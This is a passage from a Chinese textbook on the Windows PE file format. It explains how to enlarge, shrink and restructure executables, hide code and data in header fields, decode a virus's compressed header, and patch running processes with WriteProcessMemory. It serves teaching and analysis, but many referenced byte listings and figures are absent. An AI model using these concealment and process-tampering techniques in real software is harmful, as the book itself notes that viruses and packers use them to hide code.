修改IMAGE_DOS_HEADER.e_lfanew的值，增加一个页面大小1000h，由原来的000000A8更改为000010A8。 步骤2 将HelloWorld1_1.exe的PE标识符起始位置开始的所有非零数据全部复制到000010A8位置（采用覆盖方式）。 步骤3 修改字段IMAGE_OPTIONAL_HEADER32AddressOfEntryPoint的值，由原来的00001124更改为00002124。 步骤4 修改字段IMAGE_OPTIONAL_HEADER32SizeOfImage的值，由原来的00002000更改为00003000。 步骤5 修改字段IMAGE_OPTIONAL_HEADER32SizeOfHeaders的值，由原来的00000200更改为00001200。 步骤6 修改字段IMAGE_SECTION_HEADER.VirtualAddress的值，由原来的00001000更改为00002000。 步骤7 修改字段IMAGE_SECTION_HEADER.PointerToRawData的值，由原来的00000200更改为00001200。 因为该文件没有重定位信息、没有导入表、没有数据段、没有数据目录项，且只有一个节，所以本测试中所有需要修改的参数都已列出。 运行chapter12\\HelloWorld1_10.exe，发现可以正常显示对话框。在OD中查看内存分配，可以看到文件头部被扩充了一个页面大小，如图12-2所示。在操作系统查看两个文件大小之差为4096，十六进制刚好是1000h，打造HelloWorld1_10的实验证明调整DOS_STUB块空间是可行的。 图 12-2 扩大后的HelloWorld1_10.exe文件头部占用的内存空间 该实例演示了PE变形中的扩大技术。可以看到，HelloWorld.exe在被加载到虚拟内存空间的PE文件头占用空间的大小，由原来的00001000h变成了00002000h。"},
    {"text": "12.1.3 数据转移技术 12.1.3 数据转移技术 在编程过程中，出于某种考虑，经常会将PE中的一部分数据转移到另一个位置。比如，将程序中的变量存储到文件头部结构的某个字段中，将代码转移到头部结构的某个连续空间中等，这就是数据转移技术。该技术包括对变量的存储和代码的存储。 1.变量存储 变量存储的例子节选自随书文件chapter12\\HelloWorld7.exe的PE头部，如下所示： 00000000 4D 5A 48 65 6C 6C 6F 57 6F 72 6C 64 50 45 00 00 MZHelloWorldPE.. 该示例将程序要显示的字符串变量移动到了文件头部的IMAGE_DOS_HEADER中，而且与数据结构IMAGE_NT_HEADERS的PE标识字段自动重合，重合的部分为： 50 45 00 00 该部分既可以认为是IMAGE_NT_HEADERS.Signature，也可以认为是字符串\"Hello WorldPE\\0\\0\"的一部分。该部分变量原来的位置是在一个独立的节\".data\"中，占据文件中的200h个字节；通过这样的转移，使得PE产生变形，不仅节的内容没有了，节表中也少了一个描述该节信息的表项。 2.代码存储 对代码的转储比较普遍，常见的有：PE压缩、病毒、加密与解密等。文件头部的连续空间被认为是存储代码的好地方，如果连续空间的长度无法容纳所有的代码，则可以将代码分解。例如，看OD对第1章中HelloWorld.exe的反汇编代码： 指令字节码总长度为36字节。变形空间中能够容纳这些代码的有两处：一个是IMAGE_DOS_HEADER，另一个是数据目录表。 假设以上两处没有空间能存放这些代码，我们也可以将这些代码分开来存储，但分开存储时必须要保证调用指令之间的先后顺序。下面是对HelloWorld.exe反汇编代码的连续指令长度的一个统计： 长度为6字节的指令有3个 长度为5字节的指令有2个 长度为2字节的指令有4个 长度为1字节的指令有1个 有了以上的统计数据，就可以对比变形空间中描述的可用连续字段，将这些指令分别存储在不同的空间位置。以前三条指令为例： 用字段扩展PE头中的BaseOfCode开始的8字节存储6A 00 6A 00指令，另加一条近跳转指令EB 00。 用扩展PE头中的MajorOperatingSystemVersion字段开始的8个字节存储68 00304000指令，另外加一条近跳转指令EB 00。 然后根据两部分的距离修正跳转指令中的操作数如下： 如上所示，从字段BaseOfCode到字段MajorOperatingSystemVersion，中间隔了三个双字的字段，所以第一条近跳转指令中的操作数为4*3+2=0Eh；另一个操作数则要根据下一条指令所在字段的位置进行计算。 这样，原来的指令： PUSH 0 PUSH 0 PUSH HelloWo.00403000 就变成了现在的指令： PUSH 0 PUSH 0 Jmp Loc1: …… Loc1: PUSH HelloWo.00403000 以上方法在构造指令时非常复杂，其实还有一种更好的方法，即通过程序编码，使链接器辅助我们构造指令长度。下面为大家演示，步骤如下。 步骤1 未修正前的指令字节码。 以下内容节选自HelloWorld.exe的代码段： 以上所列为没有修正前的原始指令字节码。 步骤2 修正以后的程序。 通过程序将原始指令字节码分解为多个小块代码，详情见代码清单12-1。 代码清单12-1 分解原始指令代码（chapter12\\exp.asm） 1 ;------------------------ 2 ;手工修改用的HelloWorld源代码 3 ;戚利 4 ;2011.2.18 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 includelib user32.lib 13 include kernel32.inc 14 includelib kernel32.lib 15 16 ;数据段 17 .data 18 szText db 'HelloWorldPE',0 19 ;代码段 20 .code 21 start: 22 push MB_OK 23 push NULL 24 push offset szText 25 jmp short @next1 26 db 8 dup(0aah) ;在代码中加入了8个字节 27 @next1: 28 push NULL 29 call MessageBoxA 30 31 push NULL 32 call ExitProcess 33 end start 行26使用伪指令语句db定义了第一块代码（行22～25）到第二块代码（行28～32）之间的间隔（以字节计）。 步骤3 修正后的代码。 下面是加入了补足数据的字节码： 与该字节码对应的汇编代码如下： 代码清单12-1的行25使用了跳转语句（翻译为指令字节码是EB）。在程序源代码中，开发者只需要简单地使用标号来表明跳转指令要跳转到的位置，以及跳转指令后的操作数，即可由编译程序自动生成。从以上反汇编代码中可以看到，EB指令后的操作数为08，这8个字节是代码清单12-1的行26定义的8个0AAh。通过这种简单的方法就可以让编译器帮助我们计算跳转指令的操作数了。"},
    {"text": "12.1.4 数据压缩技术 12.1.4 数据压缩技术 在编程的过程中，如果指令代码比较长，还可以先对代码实施压缩，然后在PE头部找一块比较大的连续区域存放解压缩用的代码。程序被PE加载器加载后，文件头就基本不再使用了。这时，可以将存储的压缩代码通过PE头部的解压缩程序进行解压，解压后即可通过跳转指令实施程序指令的转移。 由于压缩以后的代码不便于通过十六进制直观地看到，所以这种方法在一些病毒程序代码中比较常见；另外，在一些加壳程序中会经常看到数据压缩技术。 先来看一个这种技术的应用，以下是某病毒代码的头部信息： 该病毒对两个标识字段并没有进行大的改动。注意观察节表部分内容，按照基础知识中所介绍的，每个节表最少应该有40个字节，在这里明显大小并不符合。经过仔细分析之后才知道，病毒程序对这部分数据进行了加密处理。下面详细分析病毒是如何加密该部分数据的。 ＞＞50 45 00 02 4C 01 根据前面所学的知识，PE头部应该有两个“\\0”，在这里只是用了00-02来表示这两个“\\0”，看起来好像使用了简单的行程压缩算法。凡是有连续“\\0”的地方都将0的个数作为紧跟在“\\0”后面的一项。来看节SCODE的内容，如下所示： 根据以上的猜测来还原该节的实际内容如下： 根据恢复以后的节来看，对该算法的猜测应该是没有问题的。再仔细分析一下，可以看到，该病毒的作者只对文件头部进行了加密，其他部分还是没有更改的。也就是说，要想恢复这个PE文件的内容，只需要对头部进行处理即可。知道原理之后，接下来的解密工作就容易多了，代码清单12-2是解密的源代码。 代码清单12-2 解压病毒文件头部数据（chapter12\\UnEncrpt.asm） 1 ;------------------------ 2 ;for xx Virus unzip File Header 3 ;戚利 4 ;2011.2.19 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 includelib user32.lib 13 include kernel32.inc 14 includelib kernel32.lib 15 include comdlg32.inc 16 includelib comdlg32.lib 17 18 19 TOTAL_SIZE equ 162h 20 21 ;数据段 22 .data 23 szFileSource db 'c:\\worm2.exe',0 24 szFileDest db 'c:\\worm2_bak.exe',0 25 dwTotalSize dd 0 26 hFileSrc dd 0 27 hFileDst dd 0 28 dwTemp dd 0 29 dwTemp1 dd 0 30 dwTemp2 dd 0 31 szCaption db 'Got you',0 32 szText db 'OK!？^_^',0 33 szBuffer db TOTAL_SIZE dup(0) 34 szBuffer1 db 0ffffh dup(0) 35 36 ;代码段 37 .code 38 39 start: 40 41 ;打开文件worm2.exe 42 invoke CreateFile,addr szFileSource,GENERIC_READ,\\ 43 FILE_SHARE_READ,\\ 44 0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 45 mov hFileSrc,eax 46 ;创建另外一个文件worm2_bak.exe 47 invoke CreateFile,addr szFileDest,GENERIC_WRITE,\\ 48 FILE_SHARE_READ,\\ 49 0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 50 mov hFileDst,eax 51 52 ;解压缩头部 53 invoke ReadFile,hFileSrc,addr szBuffer,\\ 54 TOTAL_SIZE,addr dwTemp,0 55 56 mov esi,offset szBuffer 57 mov edi,offset szBuffer1 58 mov ecx,TOTAL_SIZE 59 mov dwTemp2,0 60 @@0: 61 lodsb 62 mov bl,al 63 sub bl,0 64 jz@@1 65 stosb 66 inc dwTemp2 67 dec ecx 68 jecxz @F 69 jmp@@0 70 @@1: 71 dec ecx 72 jecxz @F 73 lodsb 74 push ecx 75 xor ecx,ecx 76 mov cl,al 77 add dwTemp2,ecx 78 mov al,0 79 rep stosb 80 pop ecx 81 82 dec ecx 83 jecxz @F 84 jmp@@0 85 @@: 86 invoke WriteFile,hFileDst,addr szBuffer1,\\ 87 dwTemp2,addr dwTemp1,NULL 88 89 ;关闭文件 90 invoke CloseHandle,hFileDst 91 invoke CloseHandle,hFileSrc 92 93 invoke MessageBox,NULL,offset szText,\\ 94 offset szCaption,MB_OK 95 invoke ExitProcess,NULL 96 end start 程序首先打开两个文件，一个是待解压的文件，用来读；另一个是解压后的文件，用来写。解压缩的代码在行56～84。行61取出一个字节，然后判断是否为0，如果是则跳转到标号@@1处执行；否则将字节原样写入目标缓冲区szBuffer1。 如果取到的是0，则再取一个字节，该字节记录了0的个数。将该值赋给cl寄存器，使用语句rep stosb将指定个数的0存入目标缓冲区；然后，调整循环次数，并跳转到标号@@0处继续执行下一个循环。 最后，将目标缓冲区中已经解压的字节写入目标文件（行86）。 以上描述了四种基本的PE变形技术，下面探讨PE变形时需要遵循的一些原则，以确保最终变形后的PE能被Windows加载器顺利加载而不发生错误。"},
    {"text": "12.2 变形技术可用的空间 12.2 变形技术可用的空间 要想对PE进行变形，需要掌握PE文件中每个位置的数据的可替换特性，即该位置数据是否可以被替换为别的值，某段数据是否可以被其他用途利用等。总体上讲，PE中可以用作变形的空间有以下四类。 12.2.1 文件头部未用的字段 通过基础知识部分的学习我们知道，在PE文件头部有许多字段的值可以被修改和利用。也就是说，出于兼容上的考虑，PE头部的数据结构中为将来预留了很多的字段，这些字段现在有的被强制设置为0，有的则未加任何限制。这些可以被替换的数据见表12-1（以下结论是笔者测试得出的，并不保证能适应所有的场合）。 由于文件头中大部分字段不是连续的，受不同PE内容的影响很大。比如，上表并没有列出数据目录表中加载配置和延迟导入表项的空间。如果一个PE中不存在以上特性，则这些空间中的[x].size域就是可用的。不连续的空间通常的用途是存放数据，对于连续的但字节数不多的空间，则可以存放代码。比如，以下常用的指令其字节码本身就不大： 相对较大的连续空间则可以存放一段较长的指令字节码。这些空间主要包括：IMAGE_DOS_HEADER中的54个字节、标准头12个字节、扩展头14个字节、数据目录52个字节、每个节表项中的20个字节。 12.2.2 大小不固定的数据块 12.2.2 大小不固定的数据块 通过对一些大小不固定的数据块进行扩展，也可以获取足够的空间。这些大小不固定的数据块包括： （1）DOS STUB 由于DOS STUB是为16位系统保留的，其中的任何一个字节都可以填充为任意值。 （2）PE扩展头IMAGE_OPTIONAL_HEADER32 在IMAGE_FILE_HEADER中有一个字段记录了PE扩展头的长度。该字段为：SizeOfOptionalHeader。注意，这个字段为DW类型，最多能扩展一个字的空间。 （3）数据目录项 数据目录表的项数由字段IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes来定义，通过修改该值也可以扩充或缩小文件头的尺寸。 （4）节表 在节表数据结构中有一个值SizeOfRawData，表示节在文件对齐后的尺寸。修改这个值也可以起到扩充节大小的作用。 注意 若修改了一个节的大小，其他节在文件的起始地址都要跟着修改。 理论上讲，只要是大小不固定的块，都有被扩展的可能。关键的问题是，PE加载器的机制是否允许修改，大家可以通过实验自行测试（2）（3）（4）部分的可行性。后面会有一个专门的实验来验证（1）的可行性。 如果可执行文件不存在输出表，那么当PE加载器将其加载到内存以后，PE的文件头部分数据就已经是无用的了。这也就意味着，PE文件头相关数据结构中的所有的字段，在运行期均是可随意填充任何值的。唯一遗憾的是PE加载器在加载完PE以后，把该段内存设置成了只读的R属性。 12.2.3 因对齐产生的补足空间 12.2.3 因对齐产生的补足空间 操作系统对PE文件的强制对齐特性，使得PE文件的节中存有大量为对齐而补足的0。这种机制同样影响到文件头部。由于默认对齐尺寸为200h大小的限制，大部分的系统文件（如记事本、kernel32.dll等）的文件头部只剩下很少的空间。 12.3 PE文件变形原则 12.3 PE文件变形原则 前面对PE变形时与字段有关的空间进行了简单的分析，本节重点研究变形时要遵循的一些原则。在对PE文件进行变形时，改动PE数据结构中某些字段的值需要遵循一些原则，如果没有原则地随意变形，将会导致生成的目标PE文件无法被操作系统识别并加载。在对PE进行变形时需要特别注意这些原则。 12.3.1 关于数据目录表 数据目录表的个数必须大于等于2。如果PE文件的最后一个字节位于目录表之间，如介于第3项资源表定义之间，即[DD[2].VirtualAddress]＜文件总长度＜[DD[2].isize]，则文件中无法定义资源表的大小，PE加载器默认资源表的大小为0。 一个完整的数据目录表在普通的PE文件中可读写的字段如下，以下截取了测试用的PE文件的数据目录表。从测试看，连续AA的部分可以是任意值。 12.3.2 关于节表 12.3.2 关于节表 PE文件头中可以没有节的定义，但必须将文件头部的字段IMAGE_FILE_HEADER.NumberOfSections设置为1。 12.3.3 关于导入表 12.3.3 关于导入表 导入表是PE的核心。要想在已有的PE中静态引入动态链接库的函数，必须通过变形技术构造一个合理的导入表（这里的“合理”指的是结构上的合理），或者重构已有导入表。 在12.5.7小节将看到一个只有133字节的PE文件。在该文件中，PE头部的数据结构中的字段能减的都减了，能重叠的也都重叠了，但即使是在这么短的PE中，导入表的双桥结构还是存在的。 导入表的IMAGE_IMPORT_DESCRIPTOR结构是顺序排列的。前面我们讲过，“指向的数组最后以一个内容全0的结构作为结束”。其实，这个条件可以宽限到只判断IMAGE_IMPORT_DESCRIPTOR.Name1是否为0即可。如果一个PE文件的结尾刚好没有空间存储该字段对应的值，则系统会默认该字段是存在的，并且其值为0。"},
    {"text": "12.3.4 关于程序数据 12.3.4 关于程序数据 数据可以存储在内存中的任何位置，可以位于文件头，也可以位于其他节中。 代码和数据一样，可以在内存的任何位置，但所在的节（无论是指定的节还是文件头部），其节的属性必须可读、可写、可执行。将代码段设置为可写属性主要是考虑到某些程序会将一些变量存储在代码段，且在程序中有为该变量赋值的代码。 如果所有的数据（程序变量、导入表、IAT等）都在文件头部，也就是说加载进内存的PE文件只有文件头存在，假设其大小为一个页面1000h，那么操作系统会因为IAT的缘故自动将该页面设置为ERW，即可读、可写、可执行（这和以前我们看到的文件头部只读是不一样的）。 12.3.5 关于对齐 12.3.5 关于对齐 节的对齐尺寸必须大于或等于文件的对齐尺寸。由于文件的对齐尺寸被定义为2的N次幂，所以通常会将文件对齐尺寸设置得更小，并使两个的值相等，以达到缩小PE文件的目的。如本章后面讲的两个例子中，文件对齐粒度用了10h，内存对齐粒度用了4h，即： SectionAlignment=FileAlignment=10h SectionAlignment=FileAlignment=4h 12.3.6 几个关注的字段 12.3.6 几个关注的字段 每当修改了程序的尺寸后，程序中相关的字节码的位置、字节码的长度会发生或多或少的变化，这种变化势必会影响一些记录这些位置和大小的字段，表12-2所列字段是在变形时必须要关注、指定或修改的。 表12-3所列是在变形时可当做固定标志的（即对大多数EXE文件来说经常不变的）字段。 表12-3中带有中括号[]的表达式表示由该地址处取出的值作为定位对应字段的偏移。下面通过讲解两个实际例子的操作过程，学习将PE尺寸变小的方法。 12.4 将PE变小的实例HelloWorldPE 12.4 将PE变小的实例HelloWorldPE 本节要分析的源程序与第1章的HelloWorld.asm有一点区别，即将字符串定义为\"HelloWorldPE\"。为了能与最终手工打造修改后的PE程序有所区别，这里将源代码及最终生成的PE的字节码分别列出来。 12.4.1 源程序HelloWorld的字节码（2560字节） 要手工打造的源代码见代码清单12-3。 代码清单12-3 手工修改用的HelloWorld源代码（chapter12\\helloworld.asm） 1 ;------------------------ 2 ;手工修改用的HelloWorld源代码 3 ;戚利 4 ;2010.6.10 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 includelib user32.lib 13 include kernel32.inc 14 includelib kernel32.lib 15 16 ;数据段 17 .data 18 szText db 'HelloWorldPE',0 19 ;代码段 20 .code 21 start: 22 invoke MessageBox,NULL,offset szText,NULL,MB_OK 23 invoke ExitProcess,NULL 24 end start 源代码比较简单，程序实现了弹出窗口的功能，弹出的窗口中显示字符串\"HelloWorldPE\"。 将HelloWorld.asm编译链接生成最终的EXE文件，使用FlexHex打开HelloWorld.exe，复制字节码并按照类别分为以下四部分：文件头部、代码段、导入表和数据段。各部分字节码如下。 （1）文件头部=文件头+节表+补齐（大小400h） （2）代码段=代码+补齐（大小200h） （3）导入表=导入表及相关结构+补齐（大小200h） （4）数据段=数据+补齐（大小200h） 以上列出了完整的HelloWorld.exe的字节码，主要是为了和最终打造生成的较小的PE文件进行比对。下面先跳过手工打造过程，看最终生成的目标PE文件。 12.4.2 目标PE文件的字节码（432字节） 12.4.2 目标PE文件的字节码（432字节） 最终打造的目标PE见随书文件chapter12\\HelloWorld_7.exe，其所有的字节码长度为432字节，可以在Windows XP SP3环境运行，在OD中调试时其内存空间分配如图12-3所示。 图 12-3 OD中HelloWorld_7.exe的内存分配 从图中可以看出，HelloWorld_7文件中所有的数据被加载进内存后，均被安排到了文件头的位置，且文件头部数据的访问属性被设置为RWE，即可读、可写、可执行。以下是该PE文件的完整的字节码： 字节码中存在连续AA字节的部分都是可以再次利用的空间。 12.5节就从该文件头部开始，详细介绍打造目标PE的全过程。"},
    {"text": "12.5 打造目标PE的步骤 12.5 打造目标PE的步骤 12.4节为我们展示了打造前后PE文件的字节码对比，通过对比可以发现，打造后的目标PE文件尽管变得更小，却依然具备打造前的PE的所有功能。 本节将详细介绍此次打造的全过程。希望读者能够全面理解和把握PE文件头部数据结构中各字段的作用，同时，也让读者了解改变某些字段的值对整个PE文件所产生的影响。 12.5.1 对文件头的处理 根据前面介绍的结构覆盖技术和数据转移技术压缩文件头，主要操作包括：把NT头提前，覆盖DOS头部分，只保留最重要的e_lfanew字段。 因为数据段的起始地址BaseOfData是一个可以修改的字段，所以让BaseOfData刚好落在e_lfanew这里，然后将这一部分更改为指向PE头的0ch，如下所示： 将IMAGE_NT_HEADERS提到前面来并不影响程序的运行。除了BaseOfData字段需要改成指向PE头的指针外，其他都无需改动。 从偏移02h开始一直到0Ch的数据没有什么用处。于是把数据段中的数据放到了这里。不幸的是，原来要显示的字符串\"HelloWorldPE\"长度好像超出了这个范围；幸运的是，字符串里的\"PE\"刚好和PE文件的标志重叠了。如下所示： 删除节.data的内容，即从800h处开始的内容全部删除，然后将.rdata节表后的文件头数据的所有内容清零，将节数量从原来的3更改为2。 12.5.2 对代码段的处理 12.5.2 对代码段的处理 首先来看HelloWorld.exe代码段字节码反汇编的结果。 1.程序代码段反汇编代码 使用OD打开HelloWorld.exe，复制反汇编代码段内容如下： 将以上代码的字节码整理出来，然后将这些字节码移动到数据目录表中。 2.将代码嵌入数据目录表 将代码移动到PE文件头部的数据目录表中，见加黑部分。在覆盖时需要注意不要将有用的部分覆盖。 以上显示的字节码中，短跳转代码指令E8中涉及的偏移部分已经做了修改。由于独立代码部分长度刚好填完数据目录表项03、04和05，免去了按照较短的空闲长度重新构造代码的麻烦。下面来看对导入表部分数据的处理。 12.5.3 对导入表的处理 12.5.3 对导入表的处理 按照第4章介绍的导入表重组的方法，将导入表更改为如下字节码： 可以看到，从0130h开始的16个字节为IAT的内容，与之相关的由字段original FirstThunk指向的数据结构则放到了导入表的最后一个全0的IMAGE_IMPORT_DESCRIPTOR结构中。因为前面说过，只要保证该结构的name1（框起来的部分）为0，即可满足导入表结构数组以全0结束的条件。从0140h开始部分即为导入表结构数组。 12.5.4 对部分字段值的修正 12.5.4 对部分字段值的修正 相关数据基本安排就绪，接下来的工作就是修正文件头部因数据迁移而导致的字段的值的变更。主要包括以下几个部分。 1.定义节.HelloPE 由于.HelloPE段中存放了常量、数据和代码，所以该段必须可读、可写、可执行。下面是节表中对.HelloPE节表项中的各字段的赋值： 标志位：0E00000E0h 节的名字：自定义 字符串为：.HelloPE 节区的实际尺寸：01b0h 节区起始RVA：从头开始，即0000h 文件对齐后的长度：01b0h 节位于文件的偏移：从头开始，即0000h 注意 节区的实际尺寸可以在0800h范围内随意更改，不受任何影响，这里选择文件长度01b0h。 .HelloPE节表项结构的相关数据如下： 2.基地址、执行入口和代码段大小 装入的基地址不变，依然是00400000h；而执行入口则更改为009Ch，即文件偏移009Ch处。由于可执行文件很小（小于200h），所以这里的文件偏移地址即为RVA，无需转换。代码段大小即整个文件的大小000001b0h，相关数据如下： 3.对齐尺寸 为了让文件变得更小，文件的对齐尺寸和内存的对齐尺寸均设置为00000010h，即16个字节。相关数据如下： 4.文件头大小与PE内存映像大小 所有头+节表的大小为00000130h，而PE在内存中的映像大小为00001000h，相关数据如下： 5.数据目录表中导入表字段 导入表的起始RVA=00000140h，长度为3Ch。相关数据如下： 12.5.5 修改后的文件结构 12.5.5 修改后的文件结构 手动修改以后的PE文件结构如图12-4所示。 图 12-4 手动修改后的PE结构 如图所示，源PE中数据段的数据存储在目标PE的DOS MZ头和PE标识之间，源PE的程序代码存储在目标PE的数据目录表中；文件头部定义了一个节表项，导入表和IAT表安排在目标PE的尾部。 12.5.6 修改后的文件分析 12.5.6 修改后的文件分析 接下来将使用工具PEInfo和PEComp分别对比两个文件，得到的结果如下。 1.PEInfo运行结果对比 下面来看PEInfo对目标PE的输出： 与源PE相比，目标PE中的节少了，但导入表还是很完整的。模块的基地址没有发生变化，程序代码由于搬迁到数据目录表中，所以入口地址发生了变化。 2.使用PEComp工具对比结果 使用PEComp工具打开两个PE文件，运行结果如图12-5所示。 图 12-5 手工打造的PE程序与源程序对比 从图中可以看出，源PE与目标PE文件头部不相同的地方很多。造成这种结果的最主要的原因是在手工打造时使用了数据转移技术。"},
    {"text": "12.5.7 目标文件更小的实例分析 12.5.7 目标文件更小的实例分析 下面看一个能显示指定信息对话框的更小的PE文件miniPE程序，其大小总共为133字节。该文件的字节码如下。 1.字节码 2.源程序 生成以上字节码的源代码见代码清单12-4。为了去除微软编译器的提示错误，避免在链接时追加任何其他内容，以及汇编指令调用时对invoke指令的分解，这次使用了Borland公司的Tasm和Tlink作为这个源文件的编译器和链接器。具体方法可以参照源文件头部的注释。 代码清单12-4 miniPE程序（chapter12\\minipe.asm） 从代码的注释可以看出，该PE使用的数据结构包括： IMAGE_DOS_HEADER IMAGE_FILE_HEADER IMAGE_OPTIONAL_HEADER32 IMAGE_IMPORT_DESCRIPTOR[0] IMAGE_IMPORT_DESCRIPTOR[1].VirtualAddress 其中数据目录只用了两个，且最后一个还没有用全，因为节表在程序里没有定义。对该代码的详细分析见图12-6和图12-7。 图 12-6 133字节的PE程序分析一 图 12-7 133字节的PE程序分析二 如图所示，为了便于分析，源程序中每行被按照功能划分为6列，它们依次是： 第1列 标号，用于标识源程序中的一些特殊位置。 第2列 指令，即汇编源代码。 第3列 结构字段名，定义此处的结构和字段。 第4列 字段的值，为每个字段赋值。 第5列 用分号做的注释，标注该行的含义。 第6列 对应的字节码。 12.6 小结 12.6 小结 本章介绍了PE的变形技术。所谓变形就是通过技术手段使PE文件的大小发生变化，或缩小或扩大；无论怎么变，都能保证PE文件能被Windows PE加载器加载，且能正常运行。本章首先介绍了四种变形技术、PE数据结构和PE文件中可以被二次利用的空间，以及变形时需要遵循的原则；最后，通过对HelloWorldPE的变形过程进行分析，帮助读者全面理解和把握PE数据结构中相关字段的作用。 本章在全书中具有承前启后的作用，既是对前面所学知识的一个简单回顾和复习，又能为下一步利用这些技术实施静态文件补丁和应用做好知识上的储备。"},
    {"text": "第13章 PE补丁技术 第13章 PE补丁技术 第12章介绍了PE变形技术，该技术研究的是程序的字节码； 本章来研究PE补丁技术，该技术侧重于研究使用Masm32编写的补丁程序，而非程序字节码。"},
    {"text": "PE补丁分为动态补丁和静态补丁，其中静态补丁框架由两部分组成：补丁程序和将补丁程序附加到目标PE的补丁工具。 13.1 动态补丁 动态补丁是指目标PE处于活动状态时（即进程）为其实施的补丁。"},
    {"text": "前面讲过，每个进程其存取空间为4GB，各进程的地址空间独立，相互之间并不影响，动态补丁技术即要求我们打破这种传统的认识，实现一个进程可以操作另外一个进程的地址空间。"},
    {"text": "13.1.1 进程间的通信机制 在实施补丁过程中，两个进程之间会相互交换数据，如补丁程序必须动态获取目标进程运行的状态，以确定在什么时候，什么地点实施补丁。"},
    {"text": "另外一种是由第三方参与的耦合性相对较弱的进程间通信，比如通过剪贴板、共享内存、动态链接库、映射文件、注册表、一般文件、Socket、Windows消息队列、信号量等。"},
    {"text": "匿名管道（Anonymous Pipe）存在于父进程与子进程之间，由于它连接了两个具有继承关系的进程，所以该管道不需要名字，管道的创建由父进程完成。 匿名管道是单机上实现子进程标准I/O重定向的有效方法，它无法在网络上使用，也不能用于两个不相关的进程。 创建匿名管道的API函数是CreatePipe。 命名管道（Named Pipe）是服务器进程和一个或多个客户进程之间通信的单向或双向管道。 创建管道的服务器端在建立管道时会给管道指定一个名字，其他任何进程都可以通过这个名字打开管道的另一端，并根据给定的权限与创建管道的进程实施通信。 创建命名管道的API函数是CreateNamedPipe。"},
    {"text": "两个需要传递数据的进程无需进行协商，由一方通过剪切（或复制）操作实施数据的转移，另一方则可以在任何时刻（保证剪贴板中数据没有被重新覆盖）从剪贴板中取回数据。"},
    {"text": "进程在创建文件映射对象时用0xFFFFFFFF来代替正常的文件句柄，表示对应的文件映射对象是从操作系统页面文件来访问内存，其他进程只要打开该文件映射对象就可以访问该内存块，进而实现多进程共享同一段内存数据的目的。"},
    {"text": "5.消息机制 消息机制是Windows应用程序的核心，在Windows中发生的大部分事件都可以用消息来表示。 消息可以告诉操作系统发生了什么，所有的Windows应用程序都是消息驱动的。 可以说，消息机制是Windows系统间、进程间传递数据的最好的方法。 窗口移动、鼠标点击、键盘按键等事件的发生，以及程序的启动或退出都会产生标准的Windows消息。 这些消息告诉Windows操作系统（或接管了消息处理的程序）当前系统（或进程）的运行状态。 当然，Windows也提供了一些其他的非标准的消息，如异常消息，这些消息与系统的某些机制相关。"},
    {"text": "一个进程在运行时会根据运行状态产生各种消息（比如，因异常事件触发的异常消息、程序中由中断指令引发的调试消息等），这些消息会通过进程的外露端口（如异常调试消息经由异常端口）传输出去。 由于引发异常调试消息事件EXCEPTION_DEBUG_EVENT的指令最为精简（即int 3指令，一个字节，十六进制字节码为0CCh），所以这种进程间传递数据的方式被普遍用在动态补丁技术中。"},
    {"text": "当目标进程执行到该位置时将产生异常，操作系统将该异常产生时的相关信息（各寄存器的值等）包装到数据结构EXCEPTION_RECORD中，并查找此时调试目标进程的进程（即动态补丁工具），操作系统将该结构通过消息传递给动态补丁工具； 然后，由动态补丁工具完成对目标进程信息的解读，将解读以后的相关信息再有选择地重新写回到目标进程地址空间，以改变目标进程的运行行为或当前的进程状态。"},
    {"text": "13.1.2 读写进程内存 13.1.2 读写进程内存 读写其他进程内存地址空间是动态补丁必须具备的功能，Windows API中提供了读写其他进程地址空间的函数。"},
    {"text": "这些函数包括： OpenProcess（通过设置访问权限打开要读写的进程） ReadProcessMemory（实现打开进程空间数据的读取） WriteProcessMemory（完成向打开的进程空间写入数据） 以下是这三个函数的详细介绍。 （1）OpenProcess函数 OpenProcess函数用来打开一个已存在的进程对象，并返回进程的句柄。 函数原型定义如下： HANDLE OpenProcess( DWORD dwDesiredAccess,//访问权限 BOOL bInheritHandle,//继承标志，若句柄能由子进程继承，则设置为TRUE DWORD dwProcessId//进程号 ); 各参数解释如下： 1）dwDesiredAccess：访问权限。"},
    {"text": "（2）ReadProcessMemory函数 读进程内存函数。 以下是函数原型： BOOL ReadProcessMemory( HANDLE hProcess,//远程进程句柄 PVOID pvAddressRemote,//远程进程地址VA值 PVOID pvBufferLocal,//存放数据的缓冲区 DWORD dwSize,//缓冲区大小 PDWORD pdwNumBytesRead//读出的实际字节数，是输出参数 ); 各参数解释如下： 1）hProcess：远程进程的句柄，远程进程即为要操作的进程。"},
    {"text": "（3）WriteProcessMemory函数 写进程内存函数。 完整定义如下： BOOL WriteProcessMemory( HANDLE hProcess,//远程进程句柄 PVOID pvAddressRemote,//远程进程地址VA值 PVOID pvBufferLocal,//存放数据的缓冲区 DWORD dwSize,//缓冲区大小 PDWORD pdwNumBytesRead//读写的字节数，是返回值 ); 读进程内存和写进程内存的函数的参数定义是一样的，各参数的解释如下： 1）hProcess：指定将要被读写的目标进程句柄。"},
    {"text": "2.读写进程内存实例分析 如果大家经常使用PEInfo小工具，就会发现该工具在查看一些有大量数据的PE时，经常会出现界面“死住”的情况，关于原因和解决方法已经在第2章里讲过了，现在来看看通过动态补丁技术如何解决这一问题。 （1）修改代码 为了简化问题的描述，配合大家理解进程内存读写，本实例采用了一些技巧，比如，在需要打补丁的PEInfo.asm中，做了如下修改： 步骤1 在数据段中添加一个标志dwFlag： szFileName db MAX_PATH dup(?),0FFh dwFlag dd 0FFFFFFFFh ;新增加的标志 szDllEdit db 'RichEd20.dll',0 szClassEdit db 'RichEdit20A',0 步骤2 在代码中增加检测标志位的代码： .while [esi].VirtualAddress cld …… invoke _appendInfo,addr @szBuffer pop ecx ;重定位项数量 xor edi,edi .repeat push ecx invoke _appendInfo,addr @szBuffer pop ecx .break.if dwFlag == 1 ;加入一个看似永远也不可能成立的条件 ;该标志会由其他进程修改！"},
    {"text": "因为dwFlag在定义时被设置为值0xffffffff，并且chapter13\\PEInfo.asm中再也没有与dwFlag有关的赋值代码，所以，该程序中这个退出条件似乎永远也不会发生。"},
